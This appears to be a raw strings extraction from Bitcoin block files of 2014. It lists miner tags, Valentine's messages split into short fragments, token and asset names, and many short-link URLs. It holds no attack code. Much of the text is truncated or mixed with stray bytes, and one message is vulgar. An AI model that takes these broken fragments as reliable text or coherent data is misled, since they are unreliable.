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Mined by user li1394306
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5jMined by user patricksuen
Mined by user liucanming
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Mined by user findsea
50BTC.COM resurrection [12]
Mined by user yanhuijin
XMined by user f7729203
Mined by user superltcworker
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
}Mined by user zhanghb
+<Mined by albertech
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
! er Bowl Feed: 0=Incomplete 1=SeaR
Mined by qiujiok800504
For Jack, Izzy & Aime
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
UMined by superltcworker
@Mined by dingyangangel
Mined by wangluofeng
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Happy NY! Yours GHash.IO
Mined by fanyixuanbtc
File: blk00112.txt
JLFor Pierce and Paul
Happy NY! Yours GHash.IO
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Mined by jeffrey7069
! er Bowl Bet Feed: 1 = Seattle WoR
Mined by zhangxianfu
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Happy NY! Yours GHash.IO
Mined by zhangxianfu
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Mined by futurecoast
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Q|For Pierce and Paul
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
q2Mined by zhangwenchang12
Mined by changluo2018
dummy valueQRSTUVWXYZ[\]^_`
\Mined by h407425849
Happy NY! Yours GHash.IO
! er Bowl Bet Feed: 1 = Seattle WoR
(Mined by l258412563
Happy NY! Yours GHash.IO
Mined by xuezhentao123
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Happy NY! Yours GHash.IO
Mined by btc11173001
For Jack, Izzy & Aime
oMined by xiaoli1983
! ck Hash (0000000000000
! ck Hash (0000000000000
! ck Hash (0000000000000
For Jack, Izzy & Aime
! ck Hash (0000000000000
Mined by dongninghui
! ck Hash (0000000000000
! ck Hash (0000000000000
! ck Hash (0000000000000
! ck Hash (0000000000000
! ck Hash (0000000000000
! ck Hash (0000000000000
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
2 Mined by casablanca
! ck Hash (0000000000000
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Happy NY! Yours GHash.IO
For Aime, Izzy & Jack
Mined at GIVE-ME-COINS.comR
Happy NY! Yours GHash.IO
OMined by mars101020
For Izzy, Jack & Aime
Mined by chenmingfeng
Mined by zhangxianfu
%tFor Pierce and Paul
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Happy NY! Yours GHash.IO
0Mined by aa13096675
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Happy NY! Yours GHash.IO
For Izzy, Jack & Aime
Mined by fangyinjun11
Mined by superltcworker
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Mined by baidugan168
Mined by cyha20140108
File: blk00113.txt
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Mined by kenshintina
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Happy NY! Yours GHash.IO
! ck Hash (0000000000000
5Mined by heqiangguang
For Jack, Izzy & Aime
Happy NY! Yours GHash.IO
! ck Hash (0000000000000
a<Mined by sdzhangbin
Happy NY! Yours GHash.IO
For Jack, Izzy & Aime
For Jack, Izzy & Aime
! ck Hash (0000000000000
! ck Hash (0000000000000
! ck Hash (0000000000000
Happy NY! Yours GHash.IO
For Jack, Izzy & Aime
Happy NY! Yours GHash.IO
GMined by zlz13599829311
! ck Hash (0000000000000
For Aime, Izzy & Jack
! ck Hash (0000000000000
! ck Hash (0000000000000
Happy NY! Yours GHash.IO
! ck Hash (0000000000000
! ck Hash (0000000000000
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Happy NY! Yours GHash.IO
! ck Hash (0000000000000
Mined by xiaofan4444
! ck Hash (0000000000000
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Happy NY! Yours GHash.IO
! ck Hash (0000000000000
Mined by a15045269111
! ck Hash (0000000000000
Mined by cyha20140108
! ck Hash (0000000000000
http://524f5.jesb.us
! ck Hash (0000000000000
Happy NY! Yours GHash.IO
50BTC.COM resurrection
! ck Hash (0000000000000
6rMined by ken5747933
! ck Hash (0000000000000
Mined by chenmingfeng
! ck Hash (0000000000000
Mined by liweijie227
! ck Hash (0000000000000
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
http://righto.com/bc
! ck Hash (0000000000000
For Aime, Izzy & Jack
! ck Hash (0000000000000
! ck Hash (0000000000000
Happy NY! Yours GHash.IO
! ck Hash (0000000000000
CMined by paymentbit
Mined by zhangxianfu
For Aime, Izzy & Jack
Mined by qq286531400
! ck Hash (0000000000000
! ck Hash (0000000000000
For Aime, Izzy & Jack
For Aime, Izzy & Jack
! ck Hash (0000000000000
Mined by liweijie227
Happy NY! Yours GHash.IO
! ck Hash (0000000000000
Happy NY! Yours GHash.IO
^For Pierce and Paul
! ck Hash (0000000000000
! ck Hash (0000000000000
! ck Hash (0000000000000
Mined by chenmingfeng
For Izzy, Jack & Aime
! ck Hash (0000000000000
.Mined by libing91283
! ck Hash (0000000000000
! ck Hash (0000000000000
! ck Hash (0000000000000
Happy NY! Yours GHash.IO
EMined by wangdongmei
Mined by huanghuayan
! ck Hash (0000000000000
! ck Hash (0000000000000
! ck Hash (0000000000000
! ck Hash (0000000000000
File: blk00114.txt
Happy NY! Yours GHash.IO
! ck Hash (0000000000000
Mined by superltcworker
! ck Hash (0000000000000
Mined by zhangxianfu
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! ck Hash (0000000000000
Mined by wangjianfen
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Mined by zhangxianfu
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! ck Hash (0000000000000
(Mined by casablanca
! ck Hash (0000000000000
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! ck Hash (0000000000000
|Mined by h407425849
Mined by woshixiaohao
! ck Hash (0000000000000
Mined by yzl582281390
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! ck Hash (0000000000000
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! ck Hash (0000000000000
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50BTC.COM resurrection
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! ck Hash (0000000000000
! ck Hash (0000000000000
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! ck Hash (0000000000000
kJMined by yangyu0505
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BMined by chris19810228
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Mined by iamhappy168
Mined by muyuxiao2013
! ck Hash (0000000000000
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Mined by superltcworker
! ck Hash (0000000000000
For Izzy, Jack & Aime
! ck Hash (0000000000000
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! ck Hash (0000000000000
For Aime, Izzy & Jack
! ck Hash (0000000000000
{;Mined by drchanusa888
! ck Hash (0000000000000
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8QMined by memoryten
! ck Hash (0000000000000
)ThisAssetHasAVeryLongDescR
Happy NY! Yours GHash.IO
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! ck Hash (0000000000000
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! ck Hash (0000000000000
For Aime, Izzy & Jack
zMined by liangshiyue
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Mined by chenzhangqin
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! ck Hash (0000000000000
50BTC.COM resurrection [12]
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Mined by wl410024765
! ck Hash (0000000000000
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! ck Hash (0000000000000
LOVEAnother test Ano
ther test Another te
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LOVEI love you til t
LOVEI love you more
than Narcissus loved
! ck Hash (0000000000000
Mined by lichangchen
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! ck Hash (0000000000000
LOVEThis is just a t
LOVELove you man, to
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LOVEAy yo B, catch t
his! Happy valentine
Mined by sunzhenzhen
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Mined by gauavshq917
Mined by xwd305486616
! ck Hash (0000000000000
LOVEGood luck and ha
LOVEYou are the best
est. Thanks for cook
ing and setting up t
he new place. Love.
Happy Valentine's Da
LOVETo the man in th
e arena, it is not t
he critic who counts
. The credit belongs
to you, whose face
is marred by dust an
LOVEI love you nearl
y as much as Kanye l
oves himself! Happy
LOVEHappy valentines
to every ACM@UIUC m
ember! Hope your sem
LOVEJV, you know I l
ove you. No Homo. Th
anks for all everyth
ing you've done for
me and happy Valenti
! ck Hash (0000000000000
LOVEHappy Valentines
day baby. You have
brought so much joy
into my life and I h
ope our love lasts a
s long as this messa
LOVEI put the pussy
on the chainwax, bro
FFor Pierce and Paul
For Aime, Izzy & Jack
LOVEI <3 you /r/Bitc
LOVEHappy valentines
day lovely wife. N
ow our love is encry
pted hashed and shar
LOVEAmanda, I love y
ou. Happy Valentine
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! ck Hash (0000000000000
,Mined by jamesbraidy
LOVEHaley, You are t
he most wonderful wi
fe and more than I c
ould ever ask for. I
love you with all m
LOVEIf ever a song w
as written about us,
it would have to me
ntion a porch swing,
beautiful kids, lon
g drives, challenges
, wins, & LOVE. <3 U
File: blk00115.txt
Happy NY! Yours GHash.IO
LOVEKi, my love for
you is embedded in t
he blockchain 4ever.
LOVEThe Blockchain i
s forever, but you g
irlfriend may not be
LOVE16:47 <+petertod
d> something tells m
e luke-jr and gmaxwe
ll would dump any gi
rl who used that imm
LOVEYou are the smar
test and most beauti
ful woman I have eve
r met! I hope I get
to grow old and grum
py with you! Happy V
! ck Hash (0000000000000
Mined by wangbaiyuwang
LOVESince SD 12 851.
50 I love you babe!
LOVEhin&her - jetzt
wigt im Blockchain.
LOVEMay Team Rocket
blast off at the spe
ed of light for the
rest of our lives to
LOVEI love You, Moon
of my Life. May our
Love last and shine
! ck Hash (0000000000000
LOVEbeste qn li ik b
en blij dat je myn v
alentyn bent ik hoop
dat onze btc+doge s
traks $100m is en da
n mansion+paard+kitt
LOVEJennifer Lawrenc
e, please response t
o emails so we can r
un away together, ge
t married and start
Mined by likai19841231
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LOVEHappy Valentine'
s Day, darling! Love
you more than you'l
H31434679674e6f377a5a4272726335585934436a5870634b5532747566636f4874375f32
LOVEPKO, We have a n
erd love. Happy Vale
LOVEHi Fion, thanks
for being a great fr
iend. I'm one lucky
LOVEYou had this com
LOVET <3 J+Cannibal
! ck Hash (0000000000000
! ck Hash (0000000000000
Mined by wen406893786
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LOVEirulian forever!
LOVEHappy Valentines
day Helen! May our
love be as eternal a
LOVEHola bombon. Te
amo, gracias por est
ar conmigo... en las
buenas y en las mal
LOVEHappy valentines
day, prickles. I lo
ve you. (this thing
is super awesome and
ove for us is like 1
e3 Suns. You're my b
est friend. Thanks f
or making me so luck
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LOVEHappy Valentines
Day, Sierra! - Astr
LOVEsjb - the b is n
ow and eternally for
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LOVEHappy Heart Day
Yosface - Hope you g
et all the bunnies x
! ck Hash (0000000000000
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LOVEFaith, you are t
he best Bitcoin Trad
er I know. Love you
LOVEFaith, you are t
he best Bitcoin Trad
er I know. Love you
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! ck Hash (0000000000000
tMined by liangshiyue
Mined by zhangxianfu
LOVEThanks for being
an awesome bloke, y
ou can be my Valente
-ine? From your secr
For Izzy, Jack & Aime
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LOVEHou heel veel va
ijne valentijn. Voor
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! ck Hash (0000000000000
LOVEJanette + Randy
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LOVEHappy Valentine'
o our love lasting l
onger than this mess
LOVELove you, Shmoop
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LOVERoses are red, v
iolets are blue. I'l
l love you forever a
nd every my bonipidi
duuuu! : D You have
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LOVEHappy Valentines
Day amor! Te amo mu
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LOVELissy, I wish we
weren't in such dif
ferent places in our
lives. I'm sure I c
ould make you so hap
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! ck Hash (0000000000000
10+ years have been
amazing, and I can't
wait to see what th
e next 10 bring. You
're the light of my
LOVEHappy Valentines
day Ami. I love you
. So much I used the
blockchain to tell
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LOVEElizabeth, I lov
e you internally and
externally you are
my best friend and m
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LOVEThank you Andie
for being a great fr
iend and saving me s
! ck Hash (0000000000000
LOVEHappy Valentine'
s Day, Amy. May our
love be as irreversi
ble as this transact
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that connects us is
etched into a chain
made of love that ca
nnot be broken and w
! ck Hash (0000000000000
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! ck Hash (0000000000000
LOVEHappy Valentine'
LOVEI love you so mu
ch. I hope to have t
housands and thousan
ds of happy days wit
LOVERoses are red, v
iolets are blue, the
latest commit is my
Valentines day. Ma
y our love and marri
age be eternal. RF+
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! ck Hash (0000000000000
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RMined by jiangcailing
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Mined by changluo2018
LOVEHappy Valentines
Day babe! I miss yo
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For Izzy, Jack & Aime
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! ck Hash (0000000000000
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Mined by cyha20140108
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Mined by ldld9697996
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! ck Hash (0000000000000
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=Mined by superltcworker
! ck Hash (0000000000000
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wnMined by chenmingfeng
For Izzy, Jack & Aime
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rMined by huahuacaocao
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! ck Hash (0000000000000
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For Izzy, Jack & Aime
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! ck Hash (0000000000000
50BTC.COM resurrection
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Happy NY! Yours GHash.IO
I luv u Julie Nelson
}tMined by klz198799
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Mined by superltcworker
IloveYou BradleyDaw!
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cryptolife.net
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Mined by junjun102323
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secret_bitcoin_login
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50BTC.COM resurrection [12]
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he forest I'm on the
o is my favorite sna
Key 0x2B045DD221D757
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! ck Hash (0000000000000
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Mined by qiujiok800504
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! ck Hash (0000000000000
Mined by zhangwenchang12
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! ck Hash (0000000000000
Mined by ilovegodloveme
For Izzy, Jack & Aime
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! ck Hash (0000000000000
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! ck Hash (0000000000000
Happy NY! Yours GHash.IO
File: blk00116.txt
For Izzy, Jack & Aime
u~'w1\W`RI^xZIT(-u(
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! ck Hash (0000000000000
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Mined by linghong002
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Mined by wh747015987
50BTC.COM resurrection [12]
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! ck Hash (0000000000000
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! ck Hash (0000000000000
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! ck Hash (0000000000000
! ck Hash (0000000000000
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a`For Pierce and Paul
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! ck Hash (0000000000000
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qMined by hexingbasy
! ck Hash (0000000000000
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! ck Hash (0000000000000
Mined by tudou9981212
T[Mined by wyf82530176
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! ck Hash (0000000000000
Mined by daliansunzong
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OMined by superltcworker
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Mined by zhangxianfu
Mined by kellytry888
For Izzy, Jack & Aime
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>j<Canada is the best country in the world! Loquitus AKA N.E.M.
For Izzy, Jack & Aime
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zMined by zhangwenchang12
! ck Hash (0000000000000
#http://www.bitcointangiblR
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! ck Hash (0000000000000
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Mined by jy18915207108
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! ck Hash (0000000000000
7bFor Pierce and Paul
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~Mined by superltcworker
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P Mined by AntPool v
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! ck Hash (0000000000000
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File: blk00117.txt
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Happy NY! Yours GHash.IO
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! ck Hash (0000000000000
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! ck Hash (0000000000000
Mined by xsd1688xsd1688
4j2Lhaso Apsos are the best dogs in the world! N.E.M.
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Mined by zhangxianfu
Mined by chenmingfeng
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*[Mined by doublesbtc
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LkMined by wenwen512
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! ck Hash (0000000000000
cMined by zhangfen048
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OMined by fq13504274111
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HMined by xiaozhanglixing
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Mined at GIVE-ME-COINS.comS
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UMined by cyha20140108
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! ck Hash (0000000000000
Mined by liangshiyue
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Mined by baidugan168
NjLKoday is Feb 22 2014 and this is dexX @ bitwatch.co. Cheers and stay fluffy!
! ck Hash (0000000000000
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Mined by zhangxianfu
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! ck Hash (0000000000000
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Mined by tsenchialee
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03Mined by yanyuedao
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HMined by qq383245194
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D31396f4467584a6f4a56426a4c5470445044577a627157463879665a726772487544
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Mined at GIVE-ME-COINS.comS
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Mined By ASICMinerV[
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... many <3 for lukas-jr
MjK... many <3 for lukas-jr
File: blk00118.txt
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Mined by gy13580300459
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Mined by dong7777777
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CNMined by robin811019
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6eMined by cnhxg2014
Mined by zhangxianfu
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@Mined by liangshiyue
o
/ |
| \
. | |
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| \_/ \ \
\____/\/
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File: blk00119.txt
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?For Pierce and Paul
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Testing testing 123!
Mined by heqiangguang
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[1;32mmeant for this
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Mined by superltcworker
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+ Mined by f2poolycjun
-Mined by zhangxianfu
MMined by f2poolycjunc
Testing testing 123!
&www.bitcointangibletrust.R
Mined by f2poolycjunc
NFor Pierce and Paul
File: blk00120.txt
Mined by chongjulia2
Mined by chris123038
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Mined by z13803591023
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ovMined by wangzhibo2013
eMined by ilovegodloveme
teMined by lcyltc16688
*Bzzbzbzztbz*...
--BEGIN OF MESSAGE--
WILLIAM REPORTING...
TEAM 9 ANNIHILATED.
FAILED TO DESTROY
TARGET. CURRENT
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---END OF MESSAGE---
File: blk00121.txt
#www.bitcointangibletrust.R
Mined by benny198510
Mined by ldong198341
XertroV.timestamp...
Mined by juhuanqi912
Mined by qq171837444
K{Mined by yangzhike
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Mined by superltcworker
i7 Mined by AntPool "
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kHMined by tttsssxxx
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Mined by huangjing1224
File: blk00122.txt
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@aMined by liucanming
nMined by pengzhongliang
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zMined by jiaanxiang
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Mined by superltcworker
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$TMined by chendongmei
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8MMined by volcanoran
KMined by zhangjin85689
vMined by zun1984626
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UMined by zaobichang
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)MoneypakTrader.com_foreveR
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PMined by niekecheng
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(6Mined by caolinlin
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&Mined by sys57338797
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File: blk00124.txt
Mined by heqiangguang
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2Mined by f2poolycjunc
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rDMined by razmingqi
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K!Mined by dinozoo888
! /BTC PRICE source: www.masterexcR
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hash_ABCDEFGHIJKLMNO
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)j'google.com/?q=hidden+flipside+economist
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File: blk00125.txt
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Doing something perm
anent to regret your
whole lifetime has
Mined by jamesbraidy
Y^Mined by anthisoca
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5%Mined by aini220113
dtMined by memoryten
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uVMined by qishufeng
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File: blk00126.txt
Mined by zhangwenchang12
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0bMined by zhenghuiru
kMined by wads211314
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flMined by superltcworker
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2gMined by zhangxianfu
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qMined by yonggefengyue
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<Mined by zhangwenchang12
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File: blk00127.txt
IMined by zhangxianfu
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fiMined by caolinlin
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tMined by q2921172568
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proof-of-publication
Mined by woyaocaiji3
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*0Mined by wanghailong
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"pMined by chenzeleicz
D8Mined by jiangshan1949
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File: blk00130.txt
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intense or passionate disR
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ONE SHARE = MARKET CAP
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intense or passionate disR
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intense or passionate disR
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intense or passionate disR
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intense or passionate disR
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sBMined by hushangshang
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)dMined by chilayltc
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50BTC.COM resurrection [6]
""Mined by danielfzh
Mined by ilovegodloveme
File: blk00131.txt
Mined by superltcworker
Bj@2d977363f3487b05ade0468529536d89bdedfe5be30d609f08b606c0223da2a9
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%MaidSafe is a decentralizR
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oMined by chenmingfeng
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04-13 02:04fubendong
Mined by laowang201418
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intense or passionate disR
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"j I support Fr33 Aid when testing.
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File: blk00132.txt
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intense or passionate disR
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(Spolcyc Mining ExperimentR
http://goo.gl/Jhkvwu
,NMined by zhangxianfu
This is the asset of biteR
This is the asset of biteR
Mined by chenning888
Mined by mabo36812170
The opposite of RIGHT
The opposite of left.
Mined by wanghao2006cq1
Extra Virgin Olive Oil 1 R
Mined by hushangshang
x1Mined by panggua1007
Mined by kezhung1103
Mined by qq854028186
Mined by caiqingjiu333
Mined by xinkuanggong
http://kingdomofedenia.weR
)One's Person's Junk is AnR
Mined by zhanghao321
Mined by woyaocaiji3
Mined by qzyking1234
Mined by aaa2199520130
%MaidSafe is a decentralizR
)Check details from JapaneR
)MaidSafeCoin is a proxy tR
http://bitfilliates.com/xR
http://earnfreebitcoins.cR
Get a piece of what comesR
Obvious name is obvious
http://permacredits.com
Mined by ilovegodloveme
unsuccessful double-spend attempt
Mined by yalshanghai
File: blk00133.txt
Mined by aaa2199520130
http://bitvisitor.com
q=Mined by onlinef2pool
http://charitycoin.co.uk
)PeercoinIssuedOnTopOfCounR
https://www.zinzino.com/
(BitcoinIssuedOnTopOfCountR
)BitsharesIssuedOnTopOfCouR
iMined by pengzejun001
Mined by jiangmingming
Mined by cyha20140108
Mined by zhulingbo1986
Mined by haolikuangji
Mined by lzh124126571
http://metaldomain.com/xcR
LrMined by ldld9697996
Shares of Strange MembranR
Mined by qq2044998211
Mined by baidugan888
Mined by qq530955139
Mined by zhangfen048
C?Mined by superltcworker
http://charitycoin.co.uk
Mined by caiqingjiu333
! t 24 hour VWAP CEX.IO GHS/BTC vaR
WMined by futurecoast
CryptoGate Silver GatewayR
Mined by zhangxuebao
50BTC.COM resurrection [12]
http://permacredits.com
Everybody should have somR
Mined by drchanusa888
50BTC.COM resurrection [6]
XUUMined by qq123456
Mined by qq546757492
Mined by creativeidea
! t 24 hour VWAP CEX.IO GHS/BTC vaR
! t 24 hour VWAP CEX.IO GHS/BTC vaR
Mined by zhuanzhenfu
Mined by qq147293504
! t 24 hour VWAP CEX.IO GHS/BTC vaR
Mined by qq188357809
Mined by zhangwenchang12
Mined by qiufeng1333
Joke clone of MaidsafecoiR
Mined by chenning888
This is a test currency
unsuccessful double-spend attempt
unsuccessful double-spend attempt
BlockTradeBucks--BlockTraR
File: blk00134.txt
see_asset_BITHOLDERSINC
see_asset_BITHOLDERSINC
Mined by qq854028186
Mined by linjinsheng
Mined by jlc11540382
Adeally Plays (paid bids)R
Adeally Equity Shares
&http://www.rockminer.com/R
Adeally Tokens (free bidsR
Mined by dingyangangel
Mined by alextylralpha
Joke clone of MaidsafecoiR
)Test Asset. redeemable foR
-Mined by andyxu5888
Adeally Tokens (free bidsR
Adeally Plays (paid bids)R
Adeally Equity Shares
&http://www.rockminer.com/R
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Adeally Equity Shares
Mined by daliansunzong
#qo|Z"g\g+? [}iI,Jpl~
#qo|Z"g\g+? [}iI,Jpl~
Mined by wujunyu2014
VUUMined by qq123456
Mined by sunhaifeng1988
DunneCapital LTD Shares
& https://www.multibet.io/R
I9Mined by shao791115
Proof of Forgiveness
)Check details from JapaneR
https://www.zinzino.com/
Canadian Dollar Token ExcR
https://bitsplit.io/xcp
https://coincontroller.coR
http://earnfreebitcoins.cR
http://bitfilliates.com/xR
http://bitvisitor.com
Mined by woyaocaiji3
Mined by huanglei2008
%Traders Asset. No CallbaR
No CallBack Currency
File: blk00135.txt
Mined by superltcworker
)Check details from JapaneR
https://www.zinzino.com/
Mined by chenguangfu
http://kingdomofloathing.R
intense or passionate disR
Federal Reserve Note
'"Ten-leaf clover" pass-thR
(Redeemable for retweet byR
!YHWH is the most holy namR
"You must believe the entiR
ONE SHARE = MARKET CAP
Mined by nancy2888kuang
http://goo.gl/Jhkvwu
Mined by chenxuxiong
(Spolcyc Mining ExperimentR
http://charitycoin.co.uk
! t 24 hour VWAP CEX.IO GHS/BTC vaR
Mined by houzhiqiang
The opposite of RIGHT
The opposite of left.
Mined by chenning888
The coin of the FoundatioR
"If you don't have a
plan, you become pa
rt of somebody else'
Mined by jerrysohigh
Mined by axy15991988867
S]L( Mined by AntPool
Mined by wang1306403496
http://metaldomain.com/xcR
50BTC.COM resurrection [6]
Mined by hhq2014030802
50BTC.COM resurrection [12]
http://goo.gl/dXsHqm
50BTC.COM resurrection [12]
50BTC.COM resurrection [12]
[UUMined by dingyangangel
Mined by a1875158884
File: blk00136.txt
Mined by z15994809946
Mined by huangjiang624
Mined by jy18915207108
! t 24 hour VWAP CEX.IO GHS/BTC vaR
Mined by cyha20140108
glMined by k397001685
CryptoGate Silver GatewayR
'http://orderbook.info/CHFR
'http://orderbook.info/CHFR
Mined by miyiming2011
! t 24 hour VWAP CEX.IO GHS/BTC vaR
Mined by caiqingjiu333
Mined by peterone928
http://bit.ly/1fvekM9
http://kingdomofedenia.weR
Mined by zjx329154546
Cryptoconsultancy Shares
Mined by jingchenbtc
Mined by miyiming2011
%https://www.multibet.io/DR
4Mined by hongwei09061
Crypto Currency ManagemenR
! t 24 hour VWAP CEX.IO GHS/BTC vaR
Mined by cyha20140108
2hMined by sanliting
Mined by feiduwangluo
#j!Pieter Wuille (sipa), I love you!
#j!Pieter Wuille (sipa), I love you!
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*jMined by sanliting
NXMined by sdd903537936
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! t 24 hour VWAP CEX.IO GHS/BTC vaR
Mined by nancy2888kuang
File: blk00137.txt
Joke clone of MaidsafecoiR
Mined by mengxiang0005
IMined by zhulingbo1986
Mined by qq369808489
Mined by cyha20140108
Mined by pengxuhaini
&1/100 fractional share inR
!u=https://cpr.sm/AeEGhwpzx3
u=https://cpr.sm/miLZPHGyx-
Mined by shanyng53025560
Mined by zhulingbo1986
Mined at GIVE-ME-COINS.comSf
Mined by fengdongping
Mined by z18259957686
RVUUMined by qq123456
Mined by chenning888
u=https://cpr.sm/AeEGhwpzx3
u=https://cpr.sm/miLZPHGyx-
gRA{"hello":"world","this":"is","a":"json","comment":"yeah","now":13!99311125456}
Mined by caixiaoming
Mined by cyha20140108
! t 24 hour VWAP CEX.IO GHS/BTC vaR
Mined by qq2019371705
Mined by feiduwangluo
--Paybitcoin.info---
{"b":"Hello People! How are you? By: Fedor."}
{"b":"Hello People! How are you? By: Fedor."}
Mined by chenning888
{"b":"Hello People! How are you? By: Fedor."}
evidos victorious june 26 2014
http://bit.ly/1fvekM9
Mined by zhenxijiao713
{"b":"Hello People! How are you? By: Fedor."}
Mined by shenyanting
Mined by maxiaoqing520
File: blk00138.txt
/j-The Airbus A380 is one sweet airplane! N.E.M.
Mined by schlafenlied
8~Mined by yvon136865332
Mined by cyha20140108
Mined by verycheap1975
{"b":"Hello People! How are you? By: Fedor."}
d[Mined by alex61177417
!Mined by zhangjing111
,Mined by a414705584
&An asset meant to reward R
Mined by xiaokuanggongfc
! t 24 hour VWAP CEX.IO GHS/BTC vaR
)There are 3.5 billions boR
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<Mined by longge2008
Mined by zhoujianyong
Mined by liangzhihong
Mined by sunwei19860828
Mined by liquidketamine
His name was Robert Paulson
%https://www.multibet.io/DR
&1/100 fractional share inR
%https://www.multibet.io/DR
&1/100 fractional share inR
'This is my personal assetR
http://bit.ly/1fvekM9
$j"Buddy is the best dog in the world
Monkey see Monkey do
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LKKL, Dark Ages, Never Forget
$IMined by muyulabs518
Longer message, than usual but hopefully it still will work justA
fine. Even if it is almost 128 chars
Mined at GIVE-ME-COINS.comSl
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)There are 3.5 billions boR
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'This is my personal assetR
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@Hello World From D!
Mined by qq734161896
Mined by chuoshilei168
(Spolcyc Mining ExperimentR
http://goo.gl/dXsHqm
http://charitycoin.co.uk
u=https://cpr.sm/WZJuZO9fTx
u=https://cpr.sm/_YxCTQpL8P8]
<SMined by wuqiang100
File: blk00139.txt
)BitSpot, Inc. || BitSpot.R
Mined by superltcworker
zMined by andy200837
Canadian Dollar Token ExcR
https://bitsplit.io/xcp
https://coincontroller.coR
http://earnfreebitcoins.cR
http://bitfilliates.com/xR
http://bitvisitor.com
http://metaldomain.com/xcR
CryptoGate Silver GatewayR
)Check details from JapaneR
https://www.zinzino.com/
Mined by happyshanwei
Mined by a13006556461
Mined by a13959555958
u=https://cpr.sm/zowSQe1M9nH
u=https://cpr.sm/zowSQe1M9n
50BTC.COM resurrection [6]
5Mined by fishhead2
Mined by fuckbitcoin
u=https://cpr.sm/bKAozZKLe1
Mined by zhangcanhan
"http://www.bitspot.co/bitR
There is positively
no reason why anyone
should consider thi
s message more signi
ficant than any othe
r that has already b
een posted here.____
Mined by anzhi56005792
Mined by laowang201418
Mined by sql421225677
Mined by caiqihua288
YOUR BITMESSAGE ADDR
ESS:****************
Crypto Currency ManagemenR
The opposite of RIGHT
The opposite of left.
This is the asset of biteR
Heroloop Product Token
File: blk00140.txt
Mined by lihangdong123
Mined by qq2019371705
u=https://cpr.sm/T6hwm78rn-
u=https://cpr.sm/rfGvs7Pc7W
u=https://cpr.sm/bKAozZKLe1
u=https://cpr.sm/XOHpbgCRQj
Mined by joeyhappiness
u=https://cpr.sm/xi4ivwI9OS
u=https://cpr.sm/CaRhiY5HDf
u=https://cpr.sm/4XI4WpgdLU
u=https://cpr.sm/luckKj2dkw
u=https://cpr.sm/ok8j1AfMdb8]
u=https://cpr.sm/ESfpm4x1Sr
u=https://cpr.sm/LXA8GPUoWb8]
u=https://cpr.sm/NR64BLo62v8]
u=https://cpr.sm/i8Otel8Aer8]
u=https://cpr.sm/i8Otel8Aer
u=https://cpr.sm/NR64BLo62v
u=https://cpr.sm/eIOxaAZ-he
u=https://cpr.sm/NR64BLo62vh
u=https://cpr.sm/CJN8c-kOqT
u=https://cpr.sm/GLKl8VHsbw
u=https://cpr.sm/i8Otel8Aerh
u=https://cpr.sm/1y8YtNjftT8]
u=https://cpr.sm/-LXvf28mZT
Redeemable for hugs.
u=https://cpr.sm/LnoV6E9iUw
u=https://cpr.sm/mD735mRp5G8]
u=https://cpr.sm/8kUfb3UiER
u=https://cpr.sm/gCnQjldhcu
u=https://cpr.sm/Zw7B8HUK_B
u=https://cpr.sm/LnoV6E9iUw0
u=https://cpr.sm/ZQopsviEbz
u=https://cpr.sm/Frt5jWcNIA
u=https://cpr.sm/Frt5jWcNIA5
u=https://cpr.sm/luckKj2dkwPN
u=https://cpr.sm/Umz8NMngY6
u=https://cpr.sm/oDYuDuM6SN
u=https://cpr.sm/3HmZu1qrwP8
u=https://cpr.sm/ZQopsviEbzp
u=https://cpr.sm/NPfQuA4qLl
u=https://cpr.sm/1y8YtNjftTh
u=https://cpr.sm/slXMkCuIPk8
u=https://cpr.sm/QnobipKK3p
u=https://cpr.sm/VnIwC7M2uT(6
u=https://cpr.sm/CoUb22d1pU
u=https://cpr.sm/WWKGfCUIvD8]
u=https://cpr.sm/03k-YHjA1N
50BTC.COM resurrection [6]
)One's Person's Junk is AnR
u=https://cpr.sm/-7BC42dZkU8]
u=https://cpr.sm/ciYejesa1s8]
u=https://cpr.sm/Z6CmwGSGy-
u=https://cpr.sm/l3khsJBrpg8]
u=https://cpr.sm/-6oXGf1JNa
Mined by yanan3321521
u=https://cpr.sm/03k-YHjA1N
u=https://cpr.sm/-6oXGf1JNa
u=https://cpr.sm/-6oXGf1JNaH
u=https://cpr.sm/-1vVO89diw
u=https://cpr.sm/46SQ-l0N4f{
u=https://cpr.sm/ZQopsviEbz
u=https://cpr.sm/8lWqWohiYV
u=https://cpr.sm/UATxe-Nwus8]
u=https://cpr.sm/R-yGimJS6h8]
u=https://cpr.sm/4dwCuTKiga
u=https://cpr.sm/8lWqWohiYV
u=https://cpr.sm/03k-YHjA1N`
u=https://cpr.sm/YJ1XWP4uW38]
50BTC.COM resurrection [12]
u=https://cpr.sm/6ZyHW_uAo7h
u=https://cpr.sm/6ZyHW_uAo7
u=https://cpr.sm/YZ4zd1RT_D8]
u=https://cpr.sm/YZ4zd1RT_D
u=https://cpr.sm/LXA8GPUoWb
u=https://cpr.sm/K1XYEmFSXY
u=https://cpr.sm/ZQopsviEbz
u=https://cpr.sm/K1XYEmFSXY
u=https://cpr.sm/K1XYEmFSXYP
u=https://cpr.sm/P8cB7U2CYV8]
u=https://cpr.sm/S8Rmyhj2n6u
u=https://cpr.sm/7w6jfcUFv8
u=https://cpr.sm/lfv1crXTf4
Mined by ys251154839
&http://www.rockminer.com/R
u=https://cpr.sm/I-FmWmFPiD
u=https://cpr.sm/VHAmQVEFPa
